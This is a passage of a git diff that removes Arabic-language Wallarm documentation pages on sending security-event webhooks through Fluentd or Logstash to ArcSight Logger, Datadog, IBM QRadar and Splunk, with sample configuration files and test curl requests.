`remote_syslog` لإعادة توجيه السجلات - -يتم تكوين Fluentd في ملف `td-agent.conf`: - -* يتم تكوين معالجة webhook الوارد في وجهة `source`: - * يتم إرسال حركة المرور إلى المنفذ 9880 - * يتم تكوين Fluentd لقبول الاتصالات الآمنة فقط - * يقع شهادة TLS لـ Fluentd ضمن الملف `/etc/ssl/certs/fluentd.crt` - * يقع المفتاح الخاص لشهادة TLS ضمن الملف `/etc/ssl/private/fluentd.key` -* يتم تكوين إعادة توجيه السجلات إلى ArcSight Logger وإخراج السجل في وجهة `match`: - * يتم نسخ جميع سجلات الأحداث من Fluentd وإعادة توجيهها إلى ArcSight Logger على عنوان IP `https://192.168.1.73:514` - * يتم إعادة توجيه السجلات من Fluentd إلى ArcSight Logger بتنسيق JSON وفقًا للمعيار [Syslog](https://en.wikipedia.org/wiki/Syslog) - * يتم إنشاء الاتصال مع ArcSight Logger عبر UDP - * يتم طباعة سجلات Fluentd بالإضافة إلى ذلك على سطر الأوامر بتنسيق JSON (الأسطر كود 19-22). يُستخدم الإعداد للتحقق من تسجيل الأحداث عبر Fluentd - -```bash linenums="1" - - @type http # input plugin for HTTP and HTTPS traffic - port 9880 # port for incoming requests - # configuration for connections handling - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # output plugin to forward logs from Fluentd via Syslog - host 192.168.1.73 # IP address to forward logs to - port 514 # port to forward logs to - protocol udp # connection protocol - - @type json # format of forwarded logs - - - - @type stdout # output plugin to print Fluentd logs on the command line - output_type json # format of logs printed on the command line - - -``` - -يتوفر وصف أكثر تفصيلاً لملفات التكوين في [وثائق Fluentd الرسمية](https://docs.fluentd.org/configuration/config-file). - -!!! info "اختبار تكوين Fluentd" - للتحقق من أن سجلات Fluentd يتم إنشاؤها وإعادة توجيهها إلى ArcSight Logger، يمكن إرسال طلب PUT أو POST إلى Fluentd. - - **مثال الطلب:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **سجلات Fluentd:** - ![سجلات في Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-curl-log.png) - - **الحدث في ArcSight Logger:** - ![سجلات في ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-curl-log.png) - -### تكوين الدمج مع Fluentd - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![دمج Webhook مع Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[المزيد من التفاصيل حول تكوين الدمج مع Fluentd](../fluentd.md) - -## اختبار المثال - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -سوف يسجل Fluentd الحدث كما يلي: - -![سجل Fluentd حول المستخدم الجديد](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-user-log.png) - -سيتم عرض الإدخال التالي في أحداث ArcSight Logger: - -![أحداث في ArccSiight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md deleted file mode 100644 index 277eea52f6..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md +++ /dev/null @@ -1,175 +0,0 @@ -# Datadog عبر Fluentd/Logstash - -يمكنك تعيين Wallarm لإرسال إشعارات الأحداث المكتشفة إلى Datadog عبر Fluentd أو Logstash كمُجمِّع بيانات وسيط. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![إرسال الإشعارات من Wallarm إلى Datadog عبر مُجمِّع البيانات](../../../../images/user-guides/settings/integrations/wallarm-log-collector-datadog.png) - -!!! info "التكامل المباشر مع Datadog" - يدعم Wallarm أيضًا [التكامل المباشر مع Datadog عبر واجهة برمجة تطبيقات Datadog](../datadog.md). التكامل المباشر لا يتطلب استخدام مُجمِّع البيانات الوسيط. - -## الموارد المستخدمة - -* خدمة Fluentd أو Logstash متاحة على رابط URL عام -* خدمة Datadog متاحة على رابط URL عام -* وصول المدير إلى وحدة تحكم Wallarm في [السحابة الأوروبية](https://my.wallarm.com) ل[تكوين التكامل مع Fluentd/Logstash](#setting-up-integration-with-fluentd-or-logstash) - ---8<-- "../include/cloud-ip-by-request.md" - -## المتطلبات - -بما أن Wallarm ترسل السجلات إلى مُجمِّع البيانات الوسيط عبر الويبهوك، يجب أن تلبي تكوينات Fluentd أو Logstash المتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* توفر رابط URL عام -* توجيه السجلات إلى Datadog عبر إضافة `datadog_logs` لLogstash أو إضافة `fluent-plugin-datadog` لFluentd - -=== "مثال على تكوين Logstash" - 1. [تثبيت إضافة `datadog_logs`](https://github.com/DataDog/logstash-output-datadog_logs#how-to-install-it) لتوجيه السجلات إلى Datadog. - 1. تكوين Logstash لقراءة الطلبات الواردة وتوجيه السجلات إلى Datadog. - - مثال ملف التكوين`logstash-sample.conf`: - - ```bash linenums="1" - input { - http { # إضافة الإدخال للترافيك HTTP و HTTPS - port => 5044 # منفذ للطلبات الواردة - ssl => true # معالجة الترافيك HTTPS - ssl_certificate => "/etc/server.crt" # شهادة TLS لLogstash - ssl_key => "/etc/server.key" # المفتاح الخاص لشهادة TLS - } - } - filter { - mutate { - add_field => { - "ddsource" => "wallarm" # إضافة عنصر لمصدر السجل في Datadog لتصفية سجلات Wallarm - } - } - } - output { - stdout {} # إضافة الإخراج لطباعة سجلات Logstash عبر الأمر - datadog_logs { # إضافة الإخراج لتوجيه سجلات Logstash إلى Datadog - api_key => "XXXX" # المفتاح البرمجي المولد للمنظمة في Datadog - host => "http-intake.logs.datadoghq.eu" # نقطة النهاية في Datadog (تعتمد على منطقة التسجيل) - } - } - ``` - - * [وثائق على هيكل ملف تكوين Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) - * [وثائق على إضافة`datadog_logs`](https://docs.datadoghq.com/integrations/logstash/) -=== "مثال على تكوين Fluentd" - 1. [تثبيت إضافة `fluent-plugin-datadog`](https://github.com/DataDog/fluent-plugin-datadog#pre-requirements) لتوجيه السجلات إلى Datadog. - 1. تكوين Fluentd لقراءة الطلبات الواردة وتوجيه السجلات إلى Datadog. - - مثال ملف التكوين `td-agent.conf`: - - ```bash linenums="1" - - @type http # إضافة الإدخال للترافيك HTTP و HTTPS - port 9880 # منفذ للطلبات الواردة - # تكوين لمعالجة الاتصالات - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type datadog # إضافة الإخراج لتوجيه السجلات من Fluentd إلى Datadog - @id awesome_agent - api_key XXXX # المفتاح البرمجي المولد للمنظمة في Datadog - host 'http-intake.logs.datadoghq.eu' # نقطة النهاية في Datadog (تعتمد على منطقة التسجيل) - - # اختياري - include_tag_key true - tag_key 'tag' - - # علامات اختيارية - dd_source 'wallarm' # إضافة عنصر المصدر إلى سجل Datadog لتصفية سجلات Wallarm - dd_tags 'integration:fluentd' - - - @type memory - flush_thread_count 4 - flush_interval 3s - chunk_limit_size 5m - chunk_limit_records 500 - - - ``` - - * [وثائق على هيكل ملف تكوين Fluentd](https://docs.fluentd.org/configuration/config-file) - * [وثائق على إضافة `fluent-plugin-datadog`](https://docs.datadoghq.com/integrations/fluentd) - -## إعداد التكامل مع Fluentd أو Logstash - -1. انتقل إلى إعداد التكامل مع Datadog في وحدة تحكم Wallarm → **التكاملات** → **Fluentd**/**Logstash**. -1. أدخل اسم التكامل. -1. حدد رابط URL لFluentd أو Logstash المستهدف (رابط الويبهوك). -1. إذا لزم الأمر، قم بتكوين الإعدادات المتقدمة: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. اختر أنواع الأحداث لتفعيل إرسال الإشعارات إلى الرابط المحدد. إذا لم يتم اختيار الأحداث، فلن يتم إرسال الإشعارات. -1. [اختبر التكامل](#testing-integration) وتأكد من صحة الإعدادات. -1. انقر على **إضافة التكامل**. - -مثال على التكامل مع Fluentd: - -![إضافة التكامل مع Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -## اختبار التكامل - ---8<-- "../include/integrations/test-integration-advanced-data.md" - -السجل التجريبي في مُجمِّع البيانات الوسيط لFluentd أو Logstash: - -```json -[ - { - summary:"[رسالة تجريبية] [شريك تجريبي(US)] اكتشاف ثغرة جديدة", - description:"نوع الإشعار: ثغرة - - تم اكتشاف ثغرة جديدة في نظامك. - - معرّف: - العنوان: تجريبي - النطاق: example.com - المسار: - الطريقة: - المكتشف بواسطة: - البارامتر: - النوع: معلومات - التهديد: متوسط - - المزيد من التفاصيل: https://us1.my.wallarm.com/object/555 - - - العميل: شركة التجريب - السحابة: US - ", - details:{ - client_name:"شركة التجريب", - cloud:"US", - notification_type:"ثغرة", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"تجريبي", - discovered_by:null, - threat:"متوسط", - type:"معلومات" - } - } - } -] -``` - -السجل التجريبي في Datadog: - -![السجل التجريبي في Datadog](../../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - -للعثور على سجلات Wallarm بين السجلات الأخرى، يمكن استخدام علامة البحث `source:wallarm_cloud` في خدمة سجلات Datadog. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md deleted file mode 100644 index c5e332aff7..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md +++ /dev/null @@ -1,120 +0,0 @@ -# IBM QRadar عبر Fluentd - -توفر لك هذه التعليمات مثالاً للتكامل بين Wallarm وجامع البيانات Fluentd لإعادة توجيه الأحداث إلى نظام إدارة أحداث ومعلومات الأمان QRadar. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![سير عمل Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -## الموارد المستخدمة - -* [Fluentd](#fluentd-configuration) مُثبت على Debian 11.x (bullseye) ومتاح على `https://fluentd-example-domain.com` -* [QRadar V7.3.3](#qradar-configuration-optional) مُثبت على Linux Red Hat ومتوفر بعنوان IP `https://109.111.35.11:514` -* الوصول الإداري إلى وحدة التحكم Wallarm في [السحابة الأوروبية](https://my.wallarm.com) لـ [تهيئة تكامل Fluentd](#configuration-of-fluentd-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -بما أن الروابط المشار إليها لخدمات Fluentd وQRadar هي مثالية، فإنها لا تستجيب. - -### تهيئة Fluentd - -بما أن Wallarm يرسل السجلات إلى جامع البيانات المتوسط Fluentd عبر webhooks، يجب أن تلبي تهيئة Fluentd المتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* امتلاك عنوان URL عام -* إعادة توجيه السجلات إلى IBM Qradar، ويستخدم هذا المثال الإضافة `remote_syslog` لإعادة توجيه السجلات - -يتم تهيئة Fluentd في ملف `td-agent.conf`: - -* يتم تهيئة معالجة الويب هوك الواردة في توجيه `source`: - * يتم إرسال الحركة إلى المنفذ 9880 - * Fluentd مُهيأ لقبول الاتصالات HTTPS فقط - * شهادة TLS Fluentd الموقعة من قبل CA موثوق بها علنًا توجد ضمن الملف `/etc/ssl/certs/fluentd.crt` - * يوجد المفتاح الخاص لشهادة TLS ضمن الملف `/etc/ssl/private/fluentd.key` -* يتم تهيئة إعادة توجيه السجلات إلى QRadar وإخراج السجل في توجيه `match`: - * يتم نسخ جميع سجلات الأحداث من Fluentd وإعادة توجيهها إلى QRadar على عنوان IP `https://109.111.35.11:514` - * يتم إعادة توجيه السجلات من Fluentd إلى QRadar بتنسيق JSON وفقًا لمعيار [Syslog](https://en.wikipedia.org/wiki/Syslog) - * يتم إنشاء الاتصال بـ QRadar عبر TCP - * يتم طباعة سجلات Fluentd إضافياً على سطر الأوامر بتنسيق JSON (الأسطر 19-22 من الكود). يُستخدم الإعداد للتحقق من تسجيل الأحداث عبر Fluentd - -```bash linenums="1" - - @type http # input plugin for HTTP and HTTPS traffic - port 9880 # port for incoming requests - # configuration for connections handling - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # output plugin to forward logs from Fluentd via Syslog - host 109.111.35.11 # IP address to forward logs to - port 514 # port to forward logs to - protocol tcp # connection protocol - - @type json # format of forwarded logs - - - - @type stdout # output plugin to print Fluentd logs on the command line - output_type json # format of logs printed on the command line - - -``` - -يتوفر وصف أكثر تفصيلاً لملفات التهيئة في [الوثائق الرسمية لـ Fluentd](https://docs.fluentd.org/configuration/config-file). - -!!! info "اختبار تهيئة Fluentd" - للتحقق من تكوين سجلات Fluentd وإعادة توجيهها إلى QRadar، يمكن إرسال طلب PUT أو POST إلى Fluentd. - - **مثال على الطلب:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **سجلات في Fluentd:** - ![السجلات في Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-curl-log.png) - - **سجلات في QRadar:** - ![السجلات في QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log.png) - - **عبء سجل QRadar:** - ![عبء السجل في QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log-payload.png) - -### تهيئة QRadar (اختياري) - -في QRadar، يتم تهيئة مصدر السجل. يساعد ذلك في العثور بسهولة على سجلات Fluentd في قائمة جميع السجلات في QRadar، ويمكن استخدامه أيضًا لتصفية السجلات بشكل أكبر. يتم تهيئة مصدر السجل كما يلي: - -* **اسم مصدر السجل**: `Fluentd` -* **وصف مصدر السجل**: `سجلات من Fluentd` -* **نوع مصدر السجل**: نوع مُحلل السجلات الواردة المستخدم مع معيار Syslog `Universal LEEF` -* **تهيئة البروتوكول**: معيار إعادة توجيه السجلات `Syslog` -* **معرف مصدر السجل**: عنوان IP لـ Fluentd -* إعدادات افتراضية أخرى - -يتوفر وصف أكثر تفصيلاً لإعداد مصدر سجل QRadar في [الوثائق الرسمية لـ IBM](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf). - -![إعداد مصدر السجل QRadar لـ Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-setup.png) - -### تهيئة التكامل مع Fluentd - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![تكامل Webhook مع Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[المزيد من التفاصيل حول تهيئة التكامل مع Fluentd](../fluentd.md) - -## اختبار المثال - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -ستسجل Fluentd الحدث على النحو التالي: - -![سجل حول مستخدم جديد في QRadar من Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-user-log.png) - -سيتم عرض البيانات التالية بتنسيق JSON في عبء سجل QRadar: - -![بطاقة المستخدم الجديد في QRadar من Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md deleted file mode 100644 index 72ed4f885a..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md +++ /dev/null @@ -1,116 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk Enterprise عبر Fluentd - -توفر لك هذه التعليمات مثالًا لدمج Wallarm مع جمع البيانات Fluentd لإعادة توجيه الأحداث إلى نظام Splunk SIEM. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![تدفق Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-scheme.png) - -## الموارد المُستخدمة - -* [Splunk Enterprise](#splunk-enterprise-configuration) مع العنوان الشبكي `https://109.111.35.11:8000` وعنوان API `https://109.111.35.11:8088` -* [Fluentd](#fluentd-configuration) مُثبت على Debian 11.x (bullseye) ومُتاح على العنوان `https://fluentd-example-domain.com` -* وصول المسؤول إلى وحدة التحكم Wallarm في [سحابة الاتحاد الأوروبي](https://my.wallarm.com) لـ[تكوين تكامل Fluentd](#configuration-of-fluentd-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -بما أن الروابط المشار إليها لخدمات Splunk Enterprise وFluentd هي أمثلة، فهي لا تستجيب. - -### تكوين Splunk Enterprise - -يتم إرسال سجلات Fluentd إلى Splunk HTTP Event Controller بالاسم `Wallarm Fluentd logs` والإعدادات الافتراضية الأخرى: - -![تكوين HTTP Event Collector](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-setup.png) - -للوصول إلى HTTP Event Controller، سيتم استخدام الرمز المُنشأ `f44b3179-91aa-44f5-a6f7-202265e10475`. - -وصف أكثر تفصيلًا لإعداد Splunk HTTP Event Controller متوفر في [وثائق Splunk الرسمية](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector). - -### تكوين Fluentd - -بما أن Wallarm يرسل السجلات إلى جامع البيانات الوسيط Fluentd عبر webhooks، فيجب أن يلبي تكوين Fluentd المتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* الحصول على عنوان URL عام -* إعادة توجيه السجلات إلى Splunk Enterprise، يستخدم هذا المثال الإضافة `splunk_hec` لإعادة توجيه السجلات - -يتم تكوين Fluentd في ملف `td-agent.conf`: - -* يتم تكوين معالجة الويب الوارد في التوجيه `source`: - * يتم إرسال الحركة إلى المنفذ 9880 - * يُكون Fluentd لقبول الاتصالات HTTPS فقط - * شهادة TLS Fluentd الموقعة من قبل CA موثوق بها علنًا موجودة ضمن الملف `/etc/ssl/certs/fluentd.crt` - * المفتاح الخاص لشهادة TLS موجود ضمن الملف `/etc/ssl/private/fluentd.key` -* يتم تكوين إعادة توجيه السجلات إلى Splunk وطباعة السجلات في التوجيه `match`: - * جميع سجلات الأحداث يتم نسخها من Fluentd وإعادة توجيهها إلى Splunk HTTP Event Collector عبر إضافة الإخراج [fluent-plugin-splunk-hec](https://github.com/splunk/fluent-plugin-splunk-hec) - * يتم طباعة سجلات Fluentd أيضًا على خط الأوامر بتنسيق JSON (أسطر الكود 19-22). يُستخدم الإعداد للتحقق من تسجيل الأحداث عبر Fluentd - -```bash linenums="1" - - @type http # إضافة الإدخال لحركة HTTP وHTTPS - port 9880 # منفذ الطلبات الواردة - # تكوين لمعالجة الاتصالات - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type splunk_hec # إضافة الإخراج fluent-plugin-splunk-hec لإعادة توجيه السجلات إلى Splunk API عبر HTTP Event Controller - hec_host 109.111.35.11 # مضيف Splunk - hec_port 8088 # منفذ Splunk API - hec_token f44b3179-91aa-44f5-a6f7-202265e10475 # رمز HTTP Event Controller - - @type json # تنسيق السجلات المُعاد توجيهها - - - - @type stdout # إضافة الإخراج لطباعة سجلات Fluentd على خط الأوامر - output_type json # تنسيق السجلات المطبوعة على خط الأوامر - - -``` - -وصف أكثر تفصيلًا لملفات التكوين متوفر في [وثائق Fluentd الرسمية](https://docs.fluentd.org/configuration/config-file). - -!!! info "اختبار تكوين Fluentd" - للتحقق من إنشاء سجلات Fluentd وإعادة توجيهها إلى Splunk، يمكن إرسال طلب PUT أو POST إلى Fluentd. - - **مثال الطلب:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk f44b3179-91aa-44f5-a6f7-202265e10475" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **سجلات في Fluentd:** - ![سجلات في Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-curl-log.png) - - **سجلات في Splunk:** - ![سجلات في Splunk](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-curl-log.png) - -### تكوين دمج Fluentd - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![دمج Webhook مع Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[مزيد من التفاصيل حول تكوين دمج Fluentd](../fluentd.md) - -## اختبار المثال - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -سيقوم Fluentd بتسجيل الحدث على النحو التالي: - -![سجل عن مُستخدم جديد في Splunk من Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-user-log.png) - -سيتم عرض الإدخال التالي في أحداث Splunk: - -![بطاقة مُستخدم جديد في Splunk من Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-user.png) - -## تنظيم الأحداث في Splunk Enterprise ضمن لوحة تحكم - ---8<-- "../include/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md deleted file mode 100644 index ab9e514002..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md +++ /dev/null @@ -1,111 +0,0 @@ -# تكامل Micro Focus ArcSight Logger عبر Logstash - -تزودك هذه التعليمات بمثال على تكامل Wallarm مع جمّاع البيانات Logstash لإعادة توجيه الأحداث إلى نظام ArcSight Logger. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![تدفق الويب هوك](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-scheme.png) - -!!! info "التكامل مع نسخة Enterprise من ArcSight ESM" - لتهيئة إعادة توجيه السجلات من Logstash إلى نسخة Enterprise من ArcSight ESM، يُوصى بتكوين الرابط Syslog على جانب ArcSight ثم إعادة توجيه السجلات من Logstash إلى منفذ الرابط. للحصول على وصف أكثر تفصيلًا للروابط، يُرجى تحميل **دليل مستخدم SmartConnector** من [التوثيق الرسمي لـ ArcSight SmartConnector](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs). - -## الموارد المستخدمة - -* [ArcSight Logger 7.1](#arcsight-logger-configuration) مثبّت على CentOS 7.8 بعنوان ويب `https://192.168.1.73:443` -* [Logstash 7.7.0](#logstash-configuration) مثبّت على Debian 11.x (bullseye) ومتاح على `https://logstash.example.domain.com` -* وصول المدير إلى وحدة التحكم Wallarm في [السحابة الأوروبية](https://my.wallarm.com) لـ [تهيئة تكامل Logstash](#configuration-of-logstash-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -نظرًا لأن الروابط إلى خدمات ArcSight Logger وLogstash مذكورة كأمثلة، فإنها لا تستجيب. - -### تهيئة ArcSight Logger - -تم تكوين مستقبل السجلات في ArcSight Logger `سجلات Wallarm Logstash` على النحو التالي: - -* يتم استلام السجلات عبر UDP (`النوع = مستقبل UDP`) -* منفذ الاستماع هو `514` -* يتم تحليل الأحداث بمحلل syslog -* الإعدادات الافتراضية الأخرى - -![تهيئة المستقبل في ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-setup.png) - -للحصول على وصف أكثر تفصيلًا لتهيئة المستقبل، يُرجى تحميل **دليل تثبيت Logger** للنسخة المناسبة من [التوثيق الرسمي لـ ArcSight Logger](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc). - -### تهيئة Logstash - -بما أن Wallarm يرسل السجلات إلى جمّاع البيانات Logstash الوسيط عبر الويب هوك، يجب أن تلبي تهيئة Logstash المتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* امتلاك عنوان URL عام -* إعادة توجيه السجلات إلى ArcSight Logger، يستخدم هذا المثال البرنامج المساعد `syslog` لإعادة توجيه السجلات - -تمت تهيئة Logstash في ملف `logstash-sample.conf`: - -* تمت تهيئة معالجة ويب هوك الوارد في قسم `input`: - * يتم إرسال الحركة إلى المنفذ 5044 - * Logstash مهيأ لقبول الاتصالات HTTPS فقط - * شهادة TLS Logstash الموقعة من CA ذات ثقة عامة موجودة ضمن الملف `/etc/server.crt` - * المفتاح الخاص لشهادة TLS موجود ضمن الملف `/etc/server.key` -* تمت تهيئة إعادة توجيه السجلات إلى ArcSight Logger وإخراج السجل في قسم `output`: - * يتم إعادة توجيه جميع سجلات الأحداث من Logstash إلى ArcSight Logger على عنوان IP `https://192.168.1.73:514` - * يتم إعادة توجيه السجلات من Logstash إلى ArcSight Logger بتنسيق JSON وفقًا لمعيار [Syslog](https://en.wikipedia.org/wiki/Syslog) - * يتم إنشاء الاتصال مع ArcSight Logger عبر UDP - * يتم طباعة سجلات Logstash إضافيًا على سطر الأوامر (السطر الكودي 15). الإعداد مستخدم للتحقق من أن الأحداث تُسجل عبر Logstash - -```bash linenums="1" -input { - http { # البرنامج المساعد لحركة البيانات HTTP و HTTPS - port => 5044 # منفذ الطلبات الواردة - ssl => true # معالجة حركة البيانات HTTPS - ssl_certificate => "/etc/server.crt" # شهادة TLS لـ Logstash - ssl_key => "/etc/server.key" # المفتاح الخاص لشهادة TLS - } -} -output { - syslog { # البرنامج المساعد لإعادة توجيه السجلات من Logstash عبر Syslog - host => "192.168.1.73" # عنوان IP لإعادة توجيه السجلات إليه - port => "514" # المنفذ لإعادة توجيه السجلات إليه - protocol => "udp" # بروتوكول الاتصال - codec => json # تنسيق السجلات المعاد توجيهها - } - stdout {} # البرنامج المساعد لطباعة سجلات Logstash على سطر الأوامر -} -``` - -وصف أكثر تفصيلًا لملفات التهيئة متاح في [التوثيق الرسمي لـ Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -!!! info "اختبار تهيئة Logstash" - للتحقق من أن سجلات Logstash يتم إنشاؤها وإعادة توجيهها إلى ArcSight Logger، يمكن إرسال طلب POST إلى Logstash. - - **مثال الطلب:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **سجلات Logstash:** - ![سجلات Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-curl-log.png) - - **الحدث في ArcSight Logger:** - ![حدث ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-curl-log.png) - -### تهيئة تكامل Logstash - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![تكامل الويب هوك مع Logstash](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[المزيد من التفاصيل حول تهيئة تكامل Logstash](../logstash.md) - -## اختبار المثال - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -سيُسجل Logstash الحدث على النحو التالي: - -![سجل عن المستخدم الجديد في ArcSight Logger من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-user-log.png) - -سيتم عرض الإدخال التالي في أحداث ArcSight Logger: - -![بطاقة المستخدم الجديد في ArcSight Logger من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-qradar.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-qradar.md deleted file mode 100644 index f7dd75e07a..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-qradar.md +++ /dev/null @@ -1,113 +0,0 @@ -# IBM QRadar عبر Logstash - -توفر لك هذه التعليمات مثالًا على تكامل Wallarm مع جامع بيانات Logstash لإعادة توجيه الأحداث إلى نظام QRadar SIEM. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![سير عمل الويب هوك](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -## الموارد المستخدمة - -* [Logstash 7.7.0](#logstash-configuration) مُثبت على Debian 11.x (bullseye) ومتاح على `https://logstash.example.domain.com` -* [QRadar V7.3.3](#qradar-configuration-optional) مُثبت على Linux Red Hat ومتاح مع عنوان IP `https://109.111.35.11:514` -* وصول المسؤول إلى لوحة تحكم Wallarm في [سحابة EU](https://my.wallarm.com) لـ [تكوين تكامل Logstash](#configuration-of-logstash-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -بما أن الروابط لخدمات Logstash وQRadar مستشهد بها كأمثلة، فإنها لا تستجيب. - -### تكوين Logstash - -بما أن Wallarm يرسل السجلات إلى جمع البيانات الوسيط Logstash عبر الويب هوك، يجب أن يفي تكوين Logstash بالمتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* وجود URL عام -* إعادة توجيه السجلات إلى IBM Qradar، هذا المثال يستخدم إضافة `syslog` لإعادة توجيه السجلات - -يتم تكوين Logstash في ملف `logstash-sample.conf`: - -* يتم تكوين معالجة ويب هوك الوارد في قسم `input`: - * يتم إرسال الحركة إلى المنفذ 5044 - * Logstash مُكوّن لقبول الاتصالات HTTPS فقط - * شهادة TLS الخاصة بLogstash موقّعة من قِبل CA موثوق بها علنًا تقع ضمن الملف `/etc/server.crt` - * المفتاح الخاص لشهادة TLS يقع ضمن الملف `/etc/server.key` -* يتم تكوين إعادة توجيه السجلات إلى QRadar وإخراج السجل في قسم `output`: - * يتم إعادة توجيه كل سجلات الأحداث من Logstash إلى QRadar عن طريق عنوان IP `https://109.111.35.11:514` - * يتم إعادة توجيه 